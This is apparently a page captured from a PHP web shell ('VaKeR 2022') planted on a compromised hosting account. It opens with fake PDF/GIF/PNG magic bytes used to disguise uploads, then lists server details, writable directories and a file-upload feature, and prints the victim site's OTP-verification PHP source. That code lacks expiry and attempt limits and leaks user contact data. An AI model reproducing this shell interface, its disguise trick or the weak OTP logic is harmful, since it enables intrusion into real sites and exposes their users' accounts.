%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/www/website_6ca89795/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/www/website_6ca89795/api/verify_otp.php
<?php

header("Content-Type: application/json");

include("../dbcon.php");

define('BASE_URL','https://meatandgo.fr/');

function response($status,$message,$data=[])
{
    echo json_encode([
        "status"=>$status,
        "message"=>$message,
        "data"=>$data
    ],JSON_UNESCAPED_SLASHES|JSON_PRETTY_PRINT);

    exit;
}

/*
|--------------------------------------------------------------------------
| Support Form Data + Raw JSON
|--------------------------------------------------------------------------
*/

$json = json_decode(file_get_contents("php://input"), true);

$email_or_phone = trim(
    $_REQUEST['email_or_phone']
    ?? $json['email_or_phone']
    ?? ''
);

$otp = trim(
    $_REQUEST['otp']
    ?? $json['otp']
    ?? ''
);

/*
|--------------------------------------------------------------------------
| Validation
|--------------------------------------------------------------------------
*/

if(empty($email_or_phone) || empty($otp))
{
    response(false,"Required Fields Missing",[

        "required_fields"=>[
            "email_or_phone",
            "otp"
        ],

        "example_url"=>
            BASE_URL.
            "api/verify_otp.php?email_or_phone=test@gmail.com&otp=1234",

        "sample_request"=>[
            "email_or_phone"=>"test@gmail.com",
            "otp"=>"1234"
        ],

        "raw_json_example"=>[
            "email_or_phone"=>"test@gmail.com",
            "otp"=>"1234"
        ]
    ]);
}

$email_or_phone = mysqli_real_escape_string(
    $conn,
    $email_or_phone
);

$otp = mysqli_real_escape_string(
    $conn,
    $otp
);

/*
|--------------------------------------------------------------------------
| Check OTP
|--------------------------------------------------------------------------
*/

$otpQry = mysqli_query(
    $conn,
    "SELECT *
     FROM password_resets
     WHERE
     (
        email='$email_or_phone'
        OR phone='$email_or_phone'
     )
     AND otp='$otp'
     LIMIT 1"
);

if(mysqli_num_rows($otpQry)==0)
{
    response(false,"Invalid OTP");
}

$otpData = mysqli_fetch_assoc($otpQry);

/*
|--------------------------------------------------------------------------
| Mark Verified
|--------------------------------------------------------------------------
*/

mysqli_query(
    $conn,
    "UPDATE password_resets
     SET is_verified='1'
     WHERE id='".$otpData['id']."'"
);

/*
|--------------------------------------------------------------------------
| Success
|--------------------------------------------------------------------------
*/

response(true,"OTP Verified Successfully",[

    "user_id"=>$otpData['user_id'],
    "email"=>$otpData['email'],
    "phone"=>$otpData['phone'],
    "otp_verified"=>true,

    "next_api"=>
        BASE_URL."api/reset_password.php",

    "reset_password_request"=>[

        "email_or_phone"=>$email_or_phone,
        "new_password"=>"123456",
        "confirm_password"=>"123456"
    ]
]);

$conn->close();

?>

VaKeR 2022